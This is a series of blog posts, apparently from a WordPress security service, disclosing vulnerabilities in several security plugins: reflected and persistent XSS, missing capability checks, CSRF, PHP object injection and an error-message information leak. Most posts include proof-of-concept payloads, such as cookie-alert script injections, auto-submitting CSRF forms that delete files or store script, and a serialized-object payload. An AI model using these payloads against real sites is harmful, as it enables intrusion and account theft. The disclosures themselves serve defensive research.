02 Jul

When A Security Vulnerability Is Only One of the Issues With a WordPress Security Plugin

We don’t think too highly of the security industry and we are often reminded of why that is, as was the case when we did a quick check of the plugin Sitesassure WP Malware Scanner. We had run across the plugin on the website of a company, 911websiterepair.com, which offers to clean up hacked websites, where it was listed as their plugin. The plugin didn’t mention anything about that website instead it was connected to another website and the look of that website didn’t exactly give us a good feeling about the potential quality of the plugin:

We then did a quick check of the plugin. What we found was poor security and a minor security vulnerability in the plugin. We will get to those in a moment, but first we want to bring up a couple of questionable items.

In looking over the code one thing that we quickly noticed was that there was a significant amount of code in the plugin for accessing a scanner from a company named Quttera. Oddly, nowhere in the description of the plugin or in the plugin is there any mention of that company. As far as we can tell that is actually who is doing the scanning. Considering that Quttera provides their own plugin (which we also recently found contained a vulnerability) it looks like Sitesassure’s plugin mainly serves as advertisement for them and to collect information on people using it, rather than providing a capability that isn’t available elsewhere.

As to the data collection, when you take various actions not only does the plugin connect to the Sitesassure website but it also sends out an email to someone. That seems like it might be a violation of one of the developer guidelines for WordPress plugins, but what seems odder is that the current email address doesn’t have an obvious connection with the plugin. As an example of that is the code run when the plugin is deactivated:

function swms_sitesassureDeactivate()
{
	$site_domain = get_bloginfo('url');
	$req_url = SWMS_REQUEST_URL;
	$response = wp_remote_post( $req_url, array(
	'method' => 'POST',
	'timeout' => 45,
	'redirection' => 5,
	'httpversion' => '1.0',
	'blocking' =>; true,
	'headers' => array(),
	'body' => array("action" => SWMS_UPDATE_REQUEST, 'domain' => $site_domain, "status" => SWMS_INACTIVE_STATUS),
	'cookies' => array()
    )
	);
	if ( is_wp_error( $response ) ) {
	   $error_message = $response->get_error_message();
	   _e("Something went wrong: $error_message","swms");
	} else {
	   if($response['response']['code'] == 200 && $response['response']['message'] == "OK")
	   {
	   		$message = 'Hi SA Admin,
'.$site_domain.' is deactivated the WPSASCANNER plugin';
	   		swms_sendEmail(array('to' => 'nagaraj@spinzsoft.com','subject' => $site_domain.' Deactivated Message','message' => $message));
 
	}
}

That code first sends a request to the Sitesassure website and if that request is successful an email is sent to nagaraj@spinzsoft.com. The website at spinzsoft.com doesn’t seem to be connected to the Sitesassure website. Up until June 13, when version 2.0 of the plugin was released, emails were instead sent to support@sitesassure.com. Prior to release of 2.0, the last update made to the plugin was in December of 2015.

One common area of security issues in plugins is functionality accessed through WordPress’ AJAX functionality. Often due to allowing those not logged in to WordPress to access functionality only intended for those logged in or due to allowing low level users access to functionality they are not intended to have access to. In the case of this plugin both of those issues occur.

In one of the functions that is accessible to anyone logged in WordPress despite only being intended to be accessed by Administrators there was a security issue not related to allowing lower level users to access it. Instead the issue was that user input is output without being sanitized or escaped, which could allow reflected cross-site scripting (XSS) to occur. That occurred in the function swms_get_admin_url(), which is located in the file /sitesassure-wp-malware-scanner.php:

494
495
496
497
498
499
function swms_get_admin_url(){
	$swms_scanned_url = $_POST['data'];
	$swms_admin_url = admin_url("admin.php?page=swms_scanner_report_page&swms_url=$swms_scanned_url");
	echo $swms_admin_url;
	exit;
}

Two days after we notified the developer of the issue a change was to fix it, but the version number was not changed, so no one already using version 2.0 will be prompted to update. We had also notified of the developer of the more general lack of security in the plugin, lack of restriction on who can access AJAX accessible functions and lack of protection against cross-site request forgery (CSRF), but no changes have been made related to those yet. We have yet to receive any response from the developer.

The vulnerability was fixed by passing the user input through the esc_url() function:

494
495
496
497
498
499
500
function swms_get_admin_url(){
	$swms_scanned_url = $_POST['data'];
	$swms_scanned_url = esc_url($swms_scanned_url);
	$swms_admin_url = admin_url("admin.php?page=swms_scanner_report_page&swms_url=$swms_scanned_url");
	echo $swms_admin_url;
	exit;
}

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=swms_get_admin_url" method="POST">
<input type="hidden" name="data" value="<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • June 25, 2018 – Developer notified.
  • June 27, 2018 – Change made to version 2.0 to fix vulnerability.
12 Jun

Privilege Escalation Vulnerability in Quttera Web Malware Scanner

One of the big problems we see in trying to improve security is that so often security companies are promoting product and services that they claim will protect websites, but really only try to deal with the after effects of them being hacked. What seems like could explain a lot of that is that most of those companies don’t know or care about security and they are just trying to make a buck with little to no concern whether they are providing anything of value in exchange for that money. One of the things that seems to back that up is how often security companies fail to handle basic security when it comes to their own websites and product/services.

The latest example of that was something we ran across while discussing an example of security companies’ frequent misleading to outright false claims made about their products and services. As discussed over at our main blog the makers of the plugin Quttera Web Malware Scanner had recently claimed that the plugin had over 400,000 installations despite it actually only having 10,000+ active install according to wordpress.org. After running across that we started to take a quick look at the plugin’s security and immediately found it was failing to take some basic security measures.

The plugin makes a number of functions available through WordPress’ AJAX functionality to anyone logged in to WordPress:

42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
add_action( 'wp_ajax_scanner-run_scan', 'CQtrAjaxHandler::RunExternalScan' );
 
 
/*
 * setup action @scanner-run_internal_scan mapped to callback qtr_wm_scanner_ajax_run_internal_scan
 * wp_ajax_ prefix used only for logged in users
 */ 
add_action( 'wp_ajax_scanner-run_internal_scan', 'CQtrAjaxHandler::RunInternalScan' );
 
add_action( 'wp_ajax_scanner-is_internal_scan_running', 'CQtrAjaxHandler::IsInternalScanNowRunning' );
 
add_action( 'wp_ajax_scanner-get_log_lines', 'CQtrAjaxHandler::GetLogLines' );
 
add_action( 'wp_ajax_scanner-clean_log', 'CQtrAjaxHandler::CleanLogLines' );
 
add_action( 'wp_ajax_scanner-get_stats', 'CQtrAjaxHandler::GetStats' );
 
add_action( 'wp_ajax_scanner-stop_internal_scan', 'CQtrAjaxHandler::StopInternalScan' );
 
add_action( 'wp_ajax_scanner-get_detected_threats', 'CQtrAjaxHandler::GetDetectedThreatsReport' );
 
add_action( 'wp_ajax_scanner-get_ignored_threats', 'CQtrAjaxHandler::GetIgnoredThreatsReport' );
 
add_action( 'wp_ajax_scanner-ignore_threat', 'CQtrAjaxHandler::IgnoreThreat' );
 
add_action( 'wp_ajax_scanner-get_file_report', 'CQtrAjaxHandler::ScannerReport' );
 
/* 
 * return threat back to report
 */
add_action( 'wp_ajax_scanner-unignore_threat', 'CQtrAjaxHandler::RemoveFromIgnoreList' );
 
add_action( 'wp_ajax_scanner-clean_ignore_list', 'CQtrAjaxHandler::CleanIgnoreList');
 
add_action( 'wp_ajax_scanner-whitelist_threat','CQtrAjaxHandler::WhiteListThreat' );
 
add_action( 'wp_ajax_scanner-clean_threats_whitelist', 'CQtrAjaxHandler::CleanThreatsWhiteList');
 
add_action( 'wp_ajax_scanner-whitelist_file', 'CQtrAjaxHandler::WhiteListFile');
 
add_action( 'wp_ajax_scanner-clean_files_whitelist', 'CQtrAjaxHandler::CleanFilesWhiteList');

The plugin’s admin pages, where at least most of those are intended to be accessed from, is only accessible to those with the “activate_plugins” capability, which would normally be only Administrator-level users. So there should be a check to make sure that users requesting those have that capability.

The first of the functions RunExternalScan() was restricted to those with the “manage_options” capability, which is also normally a capability only Administrator-level users have:

32
33
34
35
36
37
public static function RunExternalScan()
{
	if(!current_user_can('manage_options'))
	{
		wp_die(__('You do not have sufficient permissions to access this page.') );
	}

But that was missing from other functions. For example the GetLogLines() contains no check, so anyone logged in to WordPress could access it:

237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
public static function GetLogLines()
{
	$index  = 0;
	$logger = new CQtrLogger();
 
	if( isset( $_GET['start_line']) ) 
	{
		$index = intval( $_GET['start_line']);
	}
 
	else if( isset( $_POST['start_line']) ) 
	{
		$index = intval( $_POST['start_line']);
	}
 
 
	// $lines = $logger->GetFromLine($index);
	$lines = $logger->GetAllLines();
	echo json_encode($lines);
	exit();
}

In that case of that function, it would lead to a full path disclosure since it will display the full path to files that have been scanned.

What also was missing in all the functions we looked at was protection against cross-site request forgery (CSRF), so an attacker could cause someone logged in to WordPress to access the various functions without intending it.

After we notified the developer they released version 3.0.9.1, which partially resolves this.

The new version introduces a function __can_access() that ends the running of the code using exit() if the user doesn’t have the “manage_options” capability:

32
33
34
35
36
private static function __can_access(){
	if(!current_user_can('manage_options')){
		wp_die(__('You do not have sufficient permissions to access this page.') );
	}
}

That function is called first when those AJAX accessible functions mentioned above are run. Here, for example, is that with GetLogLines():

231
232
233
public static function GetLogLines()
{
	self::__can_access();

There still is a lack of protection against CSRF.

Proof of Concept

The following proof of concept will show the last few log lines from the plugin’s scanner, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=scanner-get_log_lines

Timeline

  • June 7, 2018 – Developer notified.
  • June 7, 2018 – Developer responds.
  • June 8, 2018 – Version 3.0.9.1 released, which partially fixes the issue.
31 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Anti-Malware Security and Brute-Force Firewall

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

About a month we noted that the security scanner service Detectify seemed to have disclosed a number of unfixed reflected ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

29 Aug

PHP Object Injection Vulnerability in WP Smart Security

When it comes to advice on improving the security of a WordPress websites the recommendation is often to install some security plugin. We have yet to see this advice paired with evidence that the security plugin in question is effective at providing protection. In our testing of them to see if security plugins can protect against real vulnerabilities in other plugins, which seems to be about the only testing ever done, the results haven’t been good. Having a false sense of security isn’t good, since it may lead to failing doing things that will actually protect a website, but using security plugins can have a much worse consequence, it can lead to your website being hacked.

We recently have been going through some data on possible PHP object injection vulnerabilities in WordPress plugins and one of the reports from that indicated the possibility of that type of vulnerability in the security plugin WP Smart Security. A quick check confirmed that there was in fact that type of vulnerability in this plugin. That type of vulnerability has been exploited on fairly wide-scale in the last year, so using this plugin could open the website using it to being hacked.

When the plugin is active it creates a new instance of the class bitset_wpspro when any WordPress page loads. That in turn will create a new instance of the class wpspro_secure, which runs the following code when it is constructed (in the file /inc/secure.php):

16
17
18
19
20
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
$data = base64_decode( $HTTP_RAW_POST_DATA );
 
if ( $data ) {
	$unserialized_data = @maybe_unserialize( $data );

That code will take the raw post data sent with the request, base64_decode() it, and then possibly unserialize() it. The unserialization of user input opens it up to PHP objection injection.

We contacted the developer a week ago and have not heard back from them. The plugin has never been updated since it was released 18 months ago, not even to note that it is compatible with newer version of WordPress, so it doesn’t appear to be being actively supported.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, send a request to a page on the website with raw POST data set to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and  the message “PHP object injection has occurred.” will be shown.

Timeline

  • August 22, 2017 – Developer notified.
19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
27 Feb

Vulnerability Details: Arbitrary File Viewing Vulnerability in WP Hide & Security Enhancer

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

07 Feb

Persistent Cross-Site Scripting (XSS) Vulnerability in XO Security

When it comes to trying to improve the security surrounding WordPress one of the big impediments is the security industry. One of the things we see them doing is providing misleading and sometimes outright false information to the public about security. One outright falsehood that has been widely spread is that there are lots of brute force attacks against WordPress admin passwords, when based on security companies own evidence are not happening at all. What is really happening are dictionary attacks, which involve an attacker try to login using common passwords. That type of attack is easily protected against by using a strong password, something that WordPress does a good job of helping you do. What might explain why security companies are saying something that isn’t true here is so that they can use the false claim to promote their plugins and services, like we have found Wordfence doing. The problem with this is that every plugin on the website introduces the possibility of a vulnerability, including security plugins.

Take the plugin XO Security that we recently ran across, which is promoted as providing “enhanced login security.” It provides a number of features and by default it will log login attempts. That involves storing and outputting user input data, which needs to be properly handled, but in that wasn’t happening, which was allowing for persistent cross-site scripting (XSS).

When a failed login attempts occurs the plugin’s function failed_login(), in the file /main.php, is run. If the failed login attempt doesn’t involve a username that already exists on the website, the password was logged without being sanitized in version 1.5.2:

292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
function failed_login( $user_name ) {
	global $wpdb;
 
	$login_time = current_time( 'mysql' );
	$ip_address = $this->get_ipaddress();
	$lang = $this->get_language();
	$user_agent = $this->get_user_agent();
	$password = filter_input ( INPUT_POST, 'pwd' );
 
	if ( get_user_by( 'login', $user_name ) ) {
		$password = null;
	}
 
	$wpdb->insert( $this->loginlog_table, array(
		'success' => false,
		'login_time' => $login_time,
		'ip_address' => $ip_address,
		'lang' => $lang,
		'user_agent' => $user_agent,
		'user_name' => $user_name,
		'failed_password' =>F% $password
	) );

When the data was output on the page /wp-admin/users.php?page=xo-security-login-log in 1.5.2  there was no escaping of the password value (in the file /admin.php):

159
160
161
162
163
164
165
$datas = $wpdb->get_results( $wpdb->prepare(
	"SELECT `id`,`success`,`login_time` as `logintime`,`ip_address` as `ipaddress`,`lang`,`user_agent` as `useragent`,`user_name` as `loginname`,`failed_password` as `failedpassword`" .
	"FROM {$loginlog_table}{$where} ORDER BY `{$orderby}` {$order} LIMIT %d, %d;", $start, $per_page
), 'ARRAY_A' );
$this->items = $datas;
 
$this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ) ) );

After we notified the developer of the vulnerability they released version 1.5.3, which fixed it by running the password value through esc_html() when saving it and when outputting it.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/users.php?page=xo-security-login-log.

Attempt to login into WordPress with a username that doesn’t exist on the website and the following as the password:

<script>alert(document.cookie);</script>

Timeline

  • February 6, 2017 – Developer Notified
  • February 7, 2017 – Version 1.5.3 released, which fixes vulnerability.
02 Jan

Information Disclosure Vulnerability in Pike Firewall

In our testing of WordPress security plugins to see what, if any, protection they provide against the exploitation of actual vulnerabilities in other plugins the results haven’t been good so far. Most of the plugins tested haven’t provided any protection against those vulnerabilities. That hasn’t really surprised us, as much of what these plugins do doesn’t have any impact on what hackers actually try to do. One example is that many of these plugins check if you have change the database prefix to something other than the default “wp_”, but knowing the database prefix is rarely needed for vulnerabilities we see being exploited. If knowing the database prefix was a big deal then the vulnerability we recently found in a security plugin would be a big deal, as the vulnerability exposes that.

While doing a few quick security checks over the plugin Pike Firewall we noticed that it has the capability to log login attempts. We and others have found that capability in plugins has introduced security vulnerabilities into plugins due to improper handling of user input that comes through that. One of things that has been an issue with other plugins is that malicious JavaScript code placed in the HTTP header field X-Forwarded-For will get displayed on the plugin’s pages unsanitized or unescaped leading to cross-site scripting (XSS). In this case we found it caused another issue when tried logging in with it set to malicious code we got this error:

WordPress database error: []
SHOW FULL COLUMNS FROM `wp_pike_firewall_login`

The database prefix is being shown in that error message.

In looking at the underling code the cause of this is (in the file /pikefirewall.php):

2756
2757
2758
2759
if ( !$wpdb->insert($pike_tables['login'], array('username' => $username, 'user_address' =>; $pike_ip, 'user_agent' => $pike_agent, 'type' => $type, 'success' =&gt; $success), array('%s', '%s', '%s'))) {
	$wpdb>show_errors();
	wp_die($wpdb->print_error());
}

You can see that error reporting is enabled and if there is an error it gets printed, which shouldn’t be happening in a non-development environment since as our example shows it is disclosing non-public information.

We contacted the developer about the issue on December 19, but we have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

With login attempt logging turned on, set the X-Forwarded-For HTTP header to

<script>alert(document.cookie);</script>

and attempt to log in to WordPress (the username/password doesn’t matter).

Timeline

  • December 19, 2016 – Developer notified.
02 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Centrora Security

Recently while during some quick security checks over security plugins we noticed that the protection against cross-site request forgery (CSRF) in the Centrora Security plugin was easily bypassed. To provide an example of that in action we looked at how that could be used to insert JavaScript code into a page, which would be a cross-site scripting (XSS) vulnerability. While we doing that we realized there was an additional security issue with the plugin, it fails to restrict its AJAX functions to intended user levels. Using the example from the first vulnerability that leads to authenticated persistent cross-site scripting (XSS) and it could have possibly lead to other issues as of version 6.5.6.

The plugin makes the function runAction() accessible through WordPress’s AJAX with the following code in the file /vendor/oseframework/ajax/oseAjax.php:

70
71
72
73
74
75
public static function addActions($func)
{
	if (class_exists('oseWordpress'))
	{
		add_action('wp_ajax_'.$func, 'oseAjax::runAction');
	}

That makes the function accessible to anyone logged in to WordPress, so if something is only intended for users with certain roles, you need to check for that. The runAction() function didn’t do that, but if the CSRF protection was working it would provide a similar protection in most cases since a lower level user wouldn’t have the access to the proper nonce to pass that check. The function secureCheck() run in that function should do that, but didn’t due to the issue mentioned in our other post.

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

From the request goes to the runController() function in the file /classes/Library/oseFirewallBase.php:

289
290
291
292
293
294
public static function runController ($controller, $action) {
	//global $centrora;
	$centrora = self::runApp();
	$requst = $centrora->runController($controller, $action);
	$requst->execute();
}

No check was done there either. From the request goes to the execute() function in the file /vendor/phpixie/core/classes/PHPixie/Request.php:

184
185
186
187
188
189
190
191
192
193
194
195
196
197
public function execute()
{
	$this->pixie->cookie->set_cookie_data($this->_cookie);
	$class = $this->param('namespace',$this->pixie->app_namespace).'Controller\\'.ucfirst($this->param('controller'));
	$controller = $this->pixie->controller($class);
	$controller->request = $this;
	if (isset($_REQUEST['action'])) {
		$controller->run($_REQUEST['action']);
		return $controller->response;
	} else {
		$controller->run($this->param('action'));
		return $controller->response;
	}
}

No check was done there either. From the request goes to the run() function in the file /vendor/phpixie/core/classes/PHPixie/Controller.php:

96
97
98
99
100
101
102
103
104
105
106
107
108
public function run($action)
{
	$action = 'action_'.$action;
	if (!method_exists($this, $action))
		throw new \PHPixie\Exception\PageNotFound("Method {$action} doesn't exist in ".get_class($this));
 
	$this->execute = true;
	$this->before();
	if ($this->execute)
		$this->$action();
	if ($this->execute)
		$this->after();
}

From there the action specified in the request is run, going back to example from the previous post the action run is addips, which is handle through the function action_Addips() in the file /classes/App/Controller/ManageipsController.php. Once again no check if the user should have access was done and the saving of the “title” input happens without any sanitization (as detailed in the other post):

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The “title” value is returned on the page/wp-admin/admin.php?page=ose_fw_manageips through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that doesn’t escape it either.

On the day we contacted the developer about the issue they fixed the lack of user level checking with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.